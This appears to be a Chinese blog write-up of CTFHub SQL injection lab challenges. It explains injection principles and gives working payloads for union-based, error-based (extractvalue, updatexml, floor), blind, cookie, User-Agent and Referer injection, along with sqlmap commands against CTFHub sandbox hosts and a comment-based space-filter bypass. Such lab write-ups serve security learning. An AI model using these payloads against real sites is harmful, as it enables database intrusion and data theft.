CTFHub-SQL注入

目录

SQL注入的原理

与MYSQL注入相关的知识点

注释符

内联注释

题目

整数型注入

字符型注入

报错注入

盲注

布尔盲注

时间盲注

cookie注入

UA注入

Refer注入

小结:收获颇多!!!


SQL注入的原理

SQL注入漏洞的产生需要满足以下两个条件。
(1)参数用户可控:前端传给后端的参数内容是用户可以控制的。
(2)参数代入数据库查询:传入的参数拼接到SQL语句,且带入数据库查询。
当传入的ID参数为1时,数据库执行的代码如下所示。

select * from users where id = 1'

这不符合数据库的语法规范,所以会报错。当传入的ID参数为and 1=1时,执行的SQL语句如下所示。

select * from users where id=1 and 1=1

因为1=1为真,且where语句中id=1也为真,所以页面会返回与id=1相同的结果。当传入的ID参数为and 1=2时,由于1=2不成立,所以返回假,页面就会返回与id=1不同的结果。

在实际环境中,凡是满足上述两个条件的参数皆可能存在SQL注入漏洞,因此开发者需秉承"外部参数皆不可信的原则"进行开发。

与MYSQL注入相关的知识点

在MYSQL5.0版本之后,MySQL默认在数据库中存放一个"information_schema"的数据库,在该库中,需要记住三个表名,分别是SCHEMATA、TABLES和COLUMNS。

SCHEMATA表存储该用户创建的所有数据库名的库名。

TABLES表存储该用户创建的所有的数据库的库名和表名,库名为:TABLES_SCHEMA,表名为:TABLE_NAME,字段名为:COLUMN_NAME.

MySQL查询语句

在不知道任何条件时,语句如下所示。

select 查询的字段名 from 库名.表名

在知道一条已知条件时,语句如下所示。

select 要查询的字段名 from 库名.表名 where 已知条件的字段名='已知条件的值'

limit的用法

limit的使用格式为limit m,n,其中m是指记录开始的位置,从0开始,表示第一条记录;n是指n条记录。例如limit 0,1表示从第一条记录开始,取一条记录,不使用limit和使用limit查询的结果

几个常用函数

database() 当前网站使用的数据库
version() 当前MySQL的版本
user() 当前MySQL的用户

注释符

在MySQL中,常见注释符的表达方式:#或--空格或/**/。

内联注释

内联注释的形式:

/*!code*/

内联注释可以用于整个sql语句中,用来执行SQL语句

-1 /*!union*/ /*!select*/ 1,2,3

题目

整数型注入

输个1试试:

再输入2-1,查询结果是1,说明存在整数型注入

尝试1 and 1=1和1 and 1=2,and没被过滤

1 and 1=1

1 and 1=2

再次尝试1 or 1=1和1 or 1=2,or没被过滤。

使用order by判断列名

1 order by 1,2

1 order by 1,2,3

只有两列。

使用union select 判断注入点

-1 union select 1,2

注入点在2的位置,爆库。

-1 union select 1,database();

拿到库名sqli,爆表。

-1 union select 1,(select table_name from information_schema.tables where table_schema='sqli' limit 0,1)

-1 union select 1,(select table_name from information_schema.tables where table_schema='sqli' limit 1,1)

爆出flag和news两个表名,使用flag表,爆字段名。

-1 union select 1,(select column_name from information_schema.columns where table_schema='sqli' and table_name='flag' limit 0,1)

拿到字段名flag,爆字段内容。

-1 union select 1,(select flag from sqli.flag limit 0,1)

成功拿到flag!!!

字符型注入

再输个1试试。

可知查询语句为:

select * from news where id='1'

我们输入的1被加上了单引号,当作字符。

输入1'判断为字符型注入:

使用#将后面的单引号注释掉

1'#

判断and是否被过滤

1' and 1=1#

1' and 1=2#

判断or是否被过滤,发现均未被过滤。

判断列数。

1' order by 1,2#

1' order by 1,2,3#

列数为两列,查找注入点。

-1' union select 1,2#

爆库名。

-1' union select 1,database()#

爆表名。

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

爆字段名。

-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'#

爆字段内容。

-1' union select 1,(select flag from flag)#

成功拿到flag!!!

报错注入

1'

1'#

判断注入:

当场景中仅仅将SQL语句带入查询返回页面正确,没有返回点的时候,需要报错注入,用报错的回显。

三种方法extractvalue() updatexml() floor()

extractvalue()

0x7e就是~用来区分数据,里面用select语句,不能用union select。

concat()函数
1.功能:将多个字符串连接成一个字符串。
2.语法:concat(str1,str2,…)
返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null。

extractvalue报错注入语句格式:

?id=2 and extractvalue(null,concat(0x7e,(sql语句),0x7e))

爆库名。

1 and extractvalue(null,concat(0x7e,(database()),0x7e))

爆库成功,库名为sqli,爆表名。

1 and extractvalue(null,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e))

1 and extractvalue(null,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e))

得到两个表flag,news,爆字段名。

1 and extractvalue(null,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 0,1),0x7e))

得到字段flag,爆字段内容。

1 and extractvalue(null,concat(0x7e,(select flag from flag limit 0,1),0x7e))

得到一个不完整的flag。

只显示32位,很明显显示的flag不完全,我们需要借助mid函数来进行字符截取从而显示32位以后的数据。

SQL MID()语法:

select mid(column_name,start[,length]) from table_name

start[,length])表示显示范围。

1 1 and extractvalue(null,concat(0x7e,mid((select flag from flag),4),0x7e))

成功拿到flag!!!

updatexml()

爆库名。

1 and updatexml(1,concat(0x7e,database(),0x7e),1)

爆表名。

1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)

1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e),1)

得到两个表news,flag。

爆字段名。

1 and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='flag'limit 0,1),0x7e),1)

爆字段内容。

1 and updatexml(1,concat(0x7e,(select flag from flag limit 0,1),0x7e),1)

同样需要mid函数。

1 and updatexml(1,concat(0x7e,mid((select flag from flag),4),0x7e),1)

成功拿到flag!!!

floor()

原理:利用

select count(*),floor(rand(0)*2)x from information_schema.character_sets group by x

导致数据库报错,通过concat函数连接注入语句与floor(rand(0)*2)函数,实现将注入结果与报错信息回显的注入方式。

函数理解

打开MYSQL终端,创建数据库。

create database test1;

建表,设置两个字段。

use test1;

create table cze(id int unsigned not null primary key auto_increment,
name varchar(15) not null);

插入数据

insert into cze(id,name) value(1,'zhangsan');

insert into cze(id,name) value(2,'lisi');

insert into cze(id,name) value(3,'wangwu');

insert into cze(id,name) value(4,'laoliu');

rand()函数
rand()可以产生一个在0和1之间的随机数

select rand();

很明显,直接使用rand函数每次产生的数值不一样,但当我们提供了一个固定的随机数的种子0之后,每次产生的值都是相同的,这也可以称之为伪随机。

select rand(0);

floor(rand(0)*2)函数
floor函数的作用就是返回小于等于括号内该值的最大整数。
rand()本身是返回0~1的随机数,但在后面扩大2倍就返回0~2之间的随机数。
配合上floor函数就可以产生确定的两个数,即0和1并且结合固定的随机种子0,它每次产生的随机数列都是相同的值。
结合上述的函数,每次产生的随机数列都是0 1 1 0

group by 函数
group by函数,作用就是分类汇总。
重命名id为a,name为x

select id a,name x from cze;

count()函数

count()函数作用为统计结果的记录数。

结合使用,统计0,1,数据,结果显示符合上面出现的0110

select count(*),floor(rand(0)*2) x from cze group by x;

实战

判断是否存在报错注入

1 union select count(*),floor(rand(0)*2) x from information_schema.schemata group by x

很明显存在报错注入,爆库。

1 union select count(*),concat(floor(rand(0)*2),database()) x from information_schema.schemata group by xs

得到库名sqli。

爆表名。

1 union select count(*),concat(floor(rand(0)*2),(select concat(table_name) from information_schema.tables 
where 
table_schema='sqli' limit 0,1)) x 
from 
information_schema.schemata group by x

爆字段名。

1 union select count(*),concat(floor(rand(0)*2),(select concat(column_name) from information_schema.columns 
where 
table_schema='sqli' and table_name='flag' limit 0,1)) x 
from 
information_schema.schemata group by x

得到字段flag,爆字段内容。

1 union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(flag) from sqli.flag limit 0,1)) x from information_schema.schemata group by x

成功拿到flag!!!

盲注

盲注其实是SQL注入的一种,之所以成为盲注是因为他不会根据你SQL注入的攻击语句返回你想要知道的错误信息。

布尔盲注

布尔盲注只会回显True和False两种情况。

这里我直接上手sqlmap,爆库名。

sqlmap -u "http://challenge-a42f003d4bd67bc2.sandbox.ctfhub.com:10800/?id=1" --dbs

前面三个是系统库所以直接使用sqli这个库。

爆表名。

sqlmap -u "http://challenge-a42f003d4bd67bc2.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables

得到两个表,flag和news,使用flag表,直接爆字段内容。

sqlmap -u "http://challenge-a42f003d4bd67bc2.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag columns --dump

成功拿到flag!!!

时间盲注

时间盲注与Boolean注入的不同之处在于,时间注入是利用sleep()或benchmark()等函数让MYSQL的执行时间变长。时间盲注多与IF(expr1,expr2,expr3)结合使用,此if语句含义是:如果expr1是TRUE,则if()的返回值为expr2;否则返回值则为expr3。

再次上手sqlmap,爆库。

sqlmap -u "http://challenge-b6a00c89c4ed6db8.sandbox.ctfhub.com:10800/?id=1" --dbs

前三个为系统库,使用第四个sqli库,爆表名。

sqlmap -u "http://challenge-b6a00c89c4ed6db8.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables

得到两个表flag和news,选择flag表,直接爆字段内容。

sqlmap -u "http://challenge-b6a00c89c4ed6db8.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag columns --dump

成功拿到flag!!!

mysql结构

这里直接用sqlmap就可以跑出flag方法同上。

cookie注入

依旧sqlmap,爆库。

sqlmap -u "http://challenge-8cde6906c2de0431.sandbox.ctfhub.com:10800/" --cookie "id=1" --dbs --level 2

这里和上面不同的是多了两个命令,--cookie是指定http cookie的值,--level指执行的测试级别(1-5, 默认 1)。

需要注意的是,当level默认为1的时候,默认不扫cookie的内容,必须是level大于等于2才能扫cookie里的内容,所以这里选用level 2.

接着爆表名。

sqlmap -u "http://challenge-8cde6906c2de0431.sandbox.ctfhub.com:10800/" --cookie "id=1" -D sqli --tables --level 2

得到表名,直接爆字段内容。

sqlmap -u "http://challenge-8cde6906c2de0431.sandbox.ctfhub.com:10800/" --cookie "id=1" -D sqli -T ksxiwztyzq --columns --dump --level 2

成功拿到flag!!!

UA注入

即注入点在User-Agent。

burp suite抓包。

测试or,and是否被过滤。

1 or 1=1
1 or 1=2

1 and 1=1
1 and 1=2

判断列数。

1 order by 1,2

1 order by 1,2,3

只有两列。

判断注入点。

-1 union select 1,2

找到注入点,爆库名。

-1 union select 1,database()

拿到库名,爆表名。

-1 union select 1,(select table_name from information_schema.tables where table_schema='sqli' limit 1,1)

拿到表名ogreadccrt,爆字段名。

-1 union select 1,(select column_name from information_schema.columns where table_schema='sqli' and table_name='ogreadccrt' limit 0,1)

拿到字段名bwpgchzncg。爆字段内容。

-1 union select 1,(select bwpgchzncg from sqli.ogreadccrt limit 0,1)

成功拿到flag!!!

Refer注入

直接上sqlmap。

爆库。

sqlmap -u "http://challenge-6c07a7d5a70843c1.sandbox.ctfhub.com:10800/?id=1" --referer "id=1" --dbs --level 2


拿到库名sqli,爆表名。

sqlmap -u "http://challenge-6c07a7d5a70843c1.sandbox.ctfhub.com:10800/?id=1" --referer "id=1" -D sqli --tables --level 2

拿到表名olzeykhcep,直接爆字段内容。

sqlmap -u "http://challenge-6c07a7d5a70843c1.sandbox.ctfhub.com:10800/?id=1" --referer "id=1" -D sqli -T olzeykhcep --columns --dump --level 2

成功拿到flag!!!

过滤空格

很可惜,这里不能直接上手sqlmap了,使用/**/绕过空格。

测试or,and是否被过滤。这里就不放图了,跟前面结果一致。

1/**/or/**/1=1
1/**/or/**/1=2

接下来就是order by判断列数,union select判断注入点,代码同上,只不过就是把有空格的地方替换成/**/,这里就不做演示了,内容已经够多了。

ctfhub的sql注入到这就结束了。

小结:收获颇多!!!

  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

余切66

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值